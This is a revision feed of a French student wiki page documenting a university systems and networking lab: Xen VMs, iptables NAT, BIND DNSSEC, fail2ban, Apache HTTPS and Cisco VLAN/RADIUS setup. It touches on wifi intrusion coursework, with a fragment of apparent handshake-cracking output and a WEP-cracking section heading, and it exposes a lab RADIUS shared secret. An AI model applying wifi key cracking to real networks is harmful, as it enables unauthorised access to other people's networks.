                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;br /&gt;
&lt;br /&gt;
      EAPOL HMAC     : 97 42 1A DB B7 EE FB 19 C3 7C EA 9E 29 99 0A 4B&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Vlan ===&lt;br /&gt;
Depuis la machine batman on se ssh sur le routeur&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ssh -oKexAlgorithms=+diffie-hellman-group14-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Entrez ensuite les commandes suivantes pour le dhcp :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304&amp;gt;en&lt;br /&gt;
C9200-E304&amp;gt;configure&lt;br /&gt;
C9200-E304(config)#ip dhcp pool PoolAntonin&lt;br /&gt;
C9200-E304(dhcp-config)#network 10.60.14.0 255.255.255.0&lt;br /&gt;
C9200-E304(dhcp-config)#dns-server 193.48.57.169&lt;br /&gt;
C9200-E304(dhcp-config)#default-router 10.60.14.254&lt;br /&gt;
C9200-E304(dhcp-config)#exit&lt;br /&gt;
C9200-E304(config)#exit&lt;br /&gt;
C9200-E304&amp;gt;write&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin pour vérifier les commandes ont données ce que l&#039;on souhaite&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304#show running-config&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Création du Vlan24&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304&amp;gt;en&lt;br /&gt;
C9200-E304&amp;gt;configure&lt;br /&gt;
C9200-E304(config)#Vlan 24&lt;br /&gt;
C9200-E304(vlan-config)#name PoolAntonin&lt;br /&gt;
C9200-E304(vlan-config)#exit&lt;br /&gt;
C9200-E304(config)#exit&lt;br /&gt;
C9200-E304&amp;gt;write&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour VRRP on peut entrer les commandes suivantes&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304(config)#interface Vlan24&lt;br /&gt;
C9200-E304(config-if)#ip address 10.60.14.2 255.255.255.0&lt;br /&gt;
C9200-E304(config-if)#ipv6 address 2001:660:4401:60ae::2/64&lt;br /&gt;
C9200-E304(config-if)#vrrp 24 address-family ipv4&lt;br /&gt;
C9200-E304(config-if-vrrp)#priority 110&lt;br /&gt;
C9200-E304(config-if-vrrp)#address 10.60.14.1 primary&lt;br /&gt;
C9200-E304(config-if-vrrp)#exit-vrrp&lt;br /&gt;
C9200-E304(config-if)#end&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour se ssh sur le wifi&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.4&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
On entre ensuite ces commandes :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
conf t&lt;br /&gt;
&lt;br /&gt;
aaa new-model&lt;br /&gt;
aaa authentication login eap_student14 group radius_student14&lt;br /&gt;
radius-server host 192.168.69.3 auth-port 1812 acct-port 1813 key secret_student14        &lt;br /&gt;
aaa group server radius radius_student14                      &lt;br /&gt;
server 192.168.69.3 auth-port 1812 acct-port 1813        &lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
dot11 ssid VM_SERVICES_14&lt;br /&gt;
vlan 24         &lt;br /&gt;
authentication open eap eap_student14 &lt;br /&gt;
authentication network-eap eap_student14&lt;br /&gt;
authentication key-management wpa&lt;br /&gt;
mbssid guest-mode&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0&lt;br /&gt;
encryption vlan 24 mode ciphers aes-ccm                  &lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0.24&lt;br /&gt;
encapsulation dot1Q 24&lt;br /&gt;
bridge-group 24&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface GigabitEthernet0.24&lt;br /&gt;
encapsulation dot1Q 24&lt;br /&gt;
bridge-group 24&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0&lt;br /&gt;
ssid VM_SERVICES_14&lt;br /&gt;
exit&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
2001:660:4401:60a0:216:3eff:fe19:f03c&lt;/div&gt;</summary>
		<author><name>Abiernac</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=12265</id>
		<title>Atelier SysRes SE4 2025/2026 E14</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=12265"/>
		<updated>2026-02-15T10:47:59Z</updated>

		<summary type="html">&lt;p&gt;Abiernac : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&#039;&#039;&#039;BIERNACKI Antonin&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
IOT 4&lt;br /&gt;
&lt;br /&gt;
2025-2026&lt;br /&gt;
&lt;br /&gt;
== Infos concernant notre binôme ==&lt;br /&gt;
Binôme : &#039;&#039;&#039;CHEKLAT Billel&#039;&#039;&#039; [[Atelier SysRes SE4 2025/2026 E13]]&lt;br /&gt;
&lt;br /&gt;
Mandataire : &#039;&#039;&#039;superman&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
IP publique de la mandataire : &#039;&#039;&#039;193.48.57.169&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Service 1 (Antonin) : &#039;&#039;&#039;batman&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Nom de domaine 1 (Antonin) : &#039;&#039;&#039;deadpool.tech&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Nom service 2 (Billel) : &#039;&#039;&#039;catwoman&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Nom de domaine 1 (Billel) : &#039;&#039;&#039;dardevil.tech&#039;&#039;&#039; (le e manquant dans daredevil est une pure volonté du binôme et un choix pratique et judicieux pour ce TP ;) )&lt;br /&gt;
&lt;br /&gt;
Bridge : &#039;&#039;&#039;pont_ironman&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Réseau IPv4 : &#039;&#039;&#039;192.168.69.0/24&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
== Introduction ==&lt;br /&gt;
&lt;br /&gt;
== Création du bridge ==&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto pont_ironman&lt;br /&gt;
iface pont_ironman inet manual&lt;br /&gt;
        bridge_ports none&lt;br /&gt;
        up ip link set $IFACE up&lt;br /&gt;
        down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ifup pont_ironman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Création des machines virtuelles ==&lt;br /&gt;
Nous avons &#039;&#039;&#039;créé nos trois machines&#039;&#039;&#039; sur le serveur capbreton via les commandes suivantes (nous avons mit la version excalibur de devuan sur la mandataire pour essayer) :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.batman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.catwoman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.superman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=excalibur --memory=2G&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ces commandes vous donnent un tableau récapitulatif avec un le &#039;&#039;&#039;root password&#039;&#039;&#039; qu&#039;il faut noter pour pouvoir vous connecter (ce mdp est retrouvable dans le .cfg de la machine). Si vous souhaitez changer le mdp de votre machine, veiller à mettre un mdp &#039;&#039;&#039;robuste&#039;&#039;&#039; car cette machine sera sur internet.&lt;br /&gt;
&lt;br /&gt;
xen create permet de &#039;&#039;&#039;démarrer les machines&#039;&#039;&#039; avec leur fichiers de configuration :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.catwoman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.superman.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;xen console permet d&#039;&amp;lt;nowiki/&amp;gt;&#039;&#039;&#039;accéder à la console de la machine virtuelle&#039;&#039;&#039; (pour quitter la console un exit suffit et pour quitter la saisie de connection &#039;&#039;&#039;Ctrl + Shift + 5&#039;&#039;&#039;) :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.batman&lt;br /&gt;
xen console SE4.catwoman&lt;br /&gt;
xen console SE4.superman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Configuration de la machine de services ==&lt;br /&gt;
&lt;br /&gt;
=== Montage des partitions /home et /var ===&lt;br /&gt;
&lt;br /&gt;
==== Sur capbreton ====&lt;br /&gt;
&lt;br /&gt;
Pour &#039;&#039;&#039;créer les partitions&#039;&#039;&#039; /home et /var on entre les deux commandes suivantes dans &amp;lt;code&amp;gt;/dev/virtual&amp;lt;/code&amp;gt; de capbreton :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
lvcreate -n SE4.batman.home -L 10G virtual&lt;br /&gt;
lvcreate -n SE4.batman.var -L 10G virtual&lt;br /&gt;
             &lt;br /&gt;
                &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ensuite on vient ajouter les lignes suivante dans &amp;lt;code&amp;gt;/etc/xen/batman.cfg&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
disk        = [&lt;br /&gt;
                  &#039;file:/usr/local/xen/domains/SE4.batman/disk.img,xvda2,w&#039;,&lt;br /&gt;
                  &#039;file:/usr/local/xen/domains/SE4.batman/swap.img,xvda1,w&#039;,&lt;br /&gt;
                  &#039;phy:/dev/virtual/SE4.batman.home,xvdb,w&#039;,&lt;br /&gt;
                  &#039;phy:/dev/virtual/SE4.batman.var,xvdc,w&#039;,&lt;br /&gt;
              ]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Sur la machine de service ====&lt;br /&gt;
&lt;br /&gt;
Pour &#039;&#039;&#039;formater et monter&#039;&#039;&#039; les partitions nous utilisons les commandes suivantes (&#039;&#039;&#039;/!\ pas dans capbreton&#039;&#039;&#039;) :&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvdb&lt;br /&gt;
mkfs -t ext4 /dev/xvdc&lt;br /&gt;
mount /dev/xvdb /mnt&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
umount /mnt&lt;br /&gt;
mount -a&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ajouter ces lignes dans &amp;lt;code&amp;gt;/etc/fstab&amp;lt;/code&amp;gt; afin que les partitions soient &#039;&#039;&#039;montées de façon automatiques&#039;&#039;&#039; au démarrage de la VM :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvdb /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdc /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin vous pouvez &#039;&#039;&#039;redémarrer&#039;&#039;&#039; la VM sur capbreton : &amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen shutdown SE4.batman&lt;br /&gt;
xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Configuration réseau ===&lt;br /&gt;
On modifie le fichier &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; comme suivant :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# IPv4&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.69.2/24 IPv4 de batman (service)&lt;br /&gt;
    gateway 192.168.69.1 IPv4 de superman (mandataire)&lt;br /&gt;
&lt;br /&gt;
# IPv6&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet6 auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Configuration de la machine mandataire ==&lt;br /&gt;
On modifie le fichier &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; comme suivant :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# IPv4&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.69.1/24 # IPv4 de superman (mandataire)&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
    address 193.48.57.169/27 # IPv4 publique de superman&lt;br /&gt;
    gateway 193.48.57.162&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Configuration SSH ==&lt;br /&gt;
Ces commandes permettent de &#039;&#039;&#039;synchroniser l&#039;heure&#039;&#039;&#039; du système :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt update&lt;br /&gt;
apt install ntp ntpdate host&lt;br /&gt;
apt install ntpsec ntpsec-ntpdate host&lt;br /&gt;
date &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour configurer le &#039;&#039;&#039;ssh sur batman&#039;&#039;&#039; on modifie le fichier &amp;lt;code&amp;gt;/etc/xen/SE4.batman.cfg&amp;lt;/code&amp;gt; sur capbreton&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
vif = [ &#039;mac=00:16:3E:FA:18:CF,bridge=pont_ironman&#039;, &#039;mac=00:16:3E:FA:18:D0,bridge=SE4&#039; ]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Une fois cela fait on peut &#039;&#039;&#039;redémarrer&#039;&#039;&#039; la VM avec les commandes précédentes.&lt;br /&gt;
&lt;br /&gt;
Ensuite sur batman on doit lancer l&#039;interface :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
reboot&lt;br /&gt;
ifdown eth1; ifup eth1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin &#039;&#039;&#039;le ssh est fonctionnel&#039;&#039;&#039;, penser à noter l&#039;adresse IPv6 de votre machine de service afin de rentrer la commande de ssh suivante :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ssh root@&amp;lt;ipv6_eth1_batman&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Mascarade ==&lt;br /&gt;
Afin de configu&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.69.0/24&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;et créé le fichier /etc/sysctl.conf puis mettre&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
net.ipv4.ip_forward=1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== redirection de port pour ssh ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2202 -j DNAT --to-destination 192.168.69.2:22&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2203 -j DNAT --to-destination 192.168.69.3:22&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;nous avons aussi installer &amp;lt;code&amp;gt;iptables-persistent&amp;lt;/code&amp;gt; pour eviter de perdre la configuration a chaque reboot.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt install iptables-persistant&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Génération de la clé pour le certificat sur batman&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout deadpool.tech.key -out ddeadpool.csr&lt;br /&gt;
&lt;br /&gt;
Country Name (2 letter code) [AU]:FR&lt;br /&gt;
State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
Locality Name (eg, city) []:Lille&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille&lt;br /&gt;
Organizational Unit Name (eg, section) []:IOT&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:deadpool.tech&lt;br /&gt;
Email Address []:antonin.biernacki@polytech-lille.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Sur catwoman&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout dardevil.tech.key -out dardevil.csr&lt;br /&gt;
&lt;br /&gt;
Country Name (2 letter code) [AU]:FR&lt;br /&gt;
State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
Locality Name (eg, city) []:Lille&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille&lt;br /&gt;
Organizational Unit Name (eg, section) []:IOT&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:dardevil.tech&lt;br /&gt;
Email Address []:billel.cheklat@polytech-lille.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Creation d&#039;un repertoire keys avec les droits nécessaires&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
mkdir /etc/bind/keys &lt;br /&gt;
chown bind:bind /etc/bind/keys &lt;br /&gt;
chmod 750 /etc/bind/keys&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;DNS&lt;br /&gt;
&lt;br /&gt;
Modification de /etc/bind/named.conf.local&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
        keys {&lt;br /&gt;
                ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
                zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
        };&lt;br /&gt;
        nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;deadpool.tech&amp;quot; {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.deadpool.tech&amp;quot;;&lt;br /&gt;
        allow-transfer{secondaries;};&lt;br /&gt;
        notify yes;&lt;br /&gt;
        key-directory &amp;quot;/etc/bind/keys&amp;quot;;&lt;br /&gt;
        dnssec-policy &amp;quot;dnspol&amp;quot;;&lt;br /&gt;
        inline-signing yes;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
        192.168.69.3;&lt;br /&gt;
        2001:660:4401:60a0:216:3eff:fe8f:4743;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
PARTIE COMMENTEE&lt;br /&gt;
zone &amp;quot;dardevil.tech&amp;quot; {&lt;br /&gt;
        type secondary;&lt;br /&gt;
        file &amp;quot;/etc/bind/backup/db.dardevil.tech&amp;quot;;&lt;br /&gt;
        masters{2001:660:4401:60a0:216:3eff:fe8f:4743;};&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Création d&#039;un dossier zones dans /etc/bind et y créer le fichier db.deadpool.tech&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
$TTL 400&lt;br /&gt;
&lt;br /&gt;
@ IN SOA ns.deadpool.tech. admin.deadpool.tech. (&lt;br /&gt;
        3609      ; Version&lt;br /&gt;
        21600     ; Refresh&lt;br /&gt;
        3600      ; Retry&lt;br /&gt;
        2592000   ; Expire&lt;br /&gt;
        86400     ; Minimum TTL&lt;br /&gt;
&lt;br /&gt;
);&lt;br /&gt;
&lt;br /&gt;
@ IN NS ns.dardevil.tech.&lt;br /&gt;
@ IN NS ns.deadpool.tech.&lt;br /&gt;
&lt;br /&gt;
ns IN A 193.48.57.169&lt;br /&gt;
ns IN AAAA 2001:660:4401:60a0:216:3eff:fe8f:4743&lt;br /&gt;
@ IN A 193.48.57.169&lt;br /&gt;
@ IN AAAA 2001:660:4401:60a0:216:3eff:fe8f:4743&lt;br /&gt;
&lt;br /&gt;
www IN CNAME deadpool.tech.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Modification du fichier /etc/resolv.conf (il faut commenter tous les autres servers)&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
search deadpool.tech&lt;br /&gt;
search dardevil.tech&lt;br /&gt;
nameserver 192.168.69.2&lt;br /&gt;
nameserver 192.168.69.3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour restart le service &amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service named restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Si il y a des erreurs la commande suivante permet de les identifier&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
named-checkconf /etc/bind/named.conf&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour tester le DNS depuis la machine de service&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig @localhost deadpool.tech&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Modification sur Gandi au niveau des deux noms de domaine&lt;br /&gt;
&lt;br /&gt;
Création d&#039;un blue record pour chacun des noms de domaine&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ns.deadpool.tech&lt;br /&gt;
193.48.57.169 // adresse IPv4 de la mandataire&lt;br /&gt;
2001:660:4401:60a0:216:3eff:fefa:18d0 // adresse IPv6 de la machine de service&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ajout de external nameserver pour chacun des deux noms de domaine&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ns.deadpool.tech	// nom de domaine&lt;br /&gt;
ns.dardevil.tech	// l&#039;autre nom de domaine&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour tester depuis l&#039;extérieur&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig deadpool.tech&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Fail2ban ===&lt;br /&gt;
Il faut commencer par installer fail2ban&lt;br /&gt;
&lt;br /&gt;
Ensuite il faut créer un fichier jail.local dans le dossier /etc/fail2ban&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
[sshd] &lt;br /&gt;
enable = true&lt;br /&gt;
port = ssh&lt;br /&gt;
filter = sshd&lt;br /&gt;
maxretry = 5&lt;br /&gt;
findtime = 300&lt;br /&gt;
bantime = 600&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour éviter un warning sur allowipv6 il faut décommenter les lignes suivantes dans fail2ban.conf (ligne 58 à 62)&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
Option: allowipv6&lt;br /&gt;
Notes.: Allows IPv6 interface:&lt;br /&gt;
         Default: auto&lt;br /&gt;
Values: [ auto yes (on, true, 1) no (off, false, 0) ] Default: auto&lt;br /&gt;
allowipv6 = auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Enfin pour lancer le service il faut rentrer la cmd suivante&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service fail2ban restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== HTTPS ===&lt;br /&gt;
Dans le dossier /etc/apache2/sites-available&lt;br /&gt;
&lt;br /&gt;
On met la clef deadpool.tech.key et les certificats GandiCert.pem et deadpool.tech.crt (tout a été trouvé sur Gandi)&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
        ServerName deadpool.tech&lt;br /&gt;
        ServerAlias www.deadpool.tech&lt;br /&gt;
        Redirect permanent / https://deadpool.tech/&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
        ServerAdmin webmaster@localhost&lt;br /&gt;
&lt;br /&gt;
        DocumentRoot /var/www/html&lt;br /&gt;
        &lt;br /&gt;
        ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
        CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
        &lt;br /&gt;
        SSLEngine on&lt;br /&gt;
        &lt;br /&gt;
        SSLCertificateFile      /etc/apache2/sites-available/deadpool.tech.crt&lt;br /&gt;
        SSLCertificateKeyFile   /etc/apache2/sites-available/deadpool.tech.key&lt;br /&gt;
        SSLCertificateChainFile /etc/apache2/sites-available/GandiCert.pem&lt;br /&gt;
        &lt;br /&gt;
        &amp;lt;FilesMatch &amp;quot;\.(?:cgi|shtml|phtml|php)$&amp;quot;&amp;gt;&lt;br /&gt;
                SSLOptions +StdEnvVars&lt;br /&gt;
        &amp;lt;/FilesMatch&amp;gt;&lt;br /&gt;
        &amp;lt;Directory /usr/lib/cgi-bin&amp;gt;&lt;br /&gt;
                SSLOptions +StdEnvVars&lt;br /&gt;
        &amp;lt;/Directory&amp;gt;&lt;br /&gt;
        &lt;br /&gt;
    &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
On entre ensuite les cmd suivantes&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
a2enmod ssl&lt;br /&gt;
service apache restart&lt;br /&gt;
a2ensite default-ssl.conf&lt;br /&gt;
service apache2 reload&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Effraction WIFI ==&lt;br /&gt;
&lt;br /&gt;
=== Cassage de clef WEP d’un point d’accès WiFi ===&lt;br /&gt;
&#039;&#039;&#039;/!\&#039;&#039;&#039; Dans notre cas la carte réseau de notre zabeth ne fonctionnait plus (ce cas est courant).&lt;br /&gt;
&lt;br /&gt;
Mr Redon nous a donc fournit une &#039;&#039;&#039;clé USB Wifi&#039;&#039;&#039; pour pouvoir travailler. &lt;br /&gt;
&lt;br /&gt;
De plus les cracotte s&#039;arrête au 13 donc je dois prendre la &#039;&#039;&#039;cracotte02&#039;&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
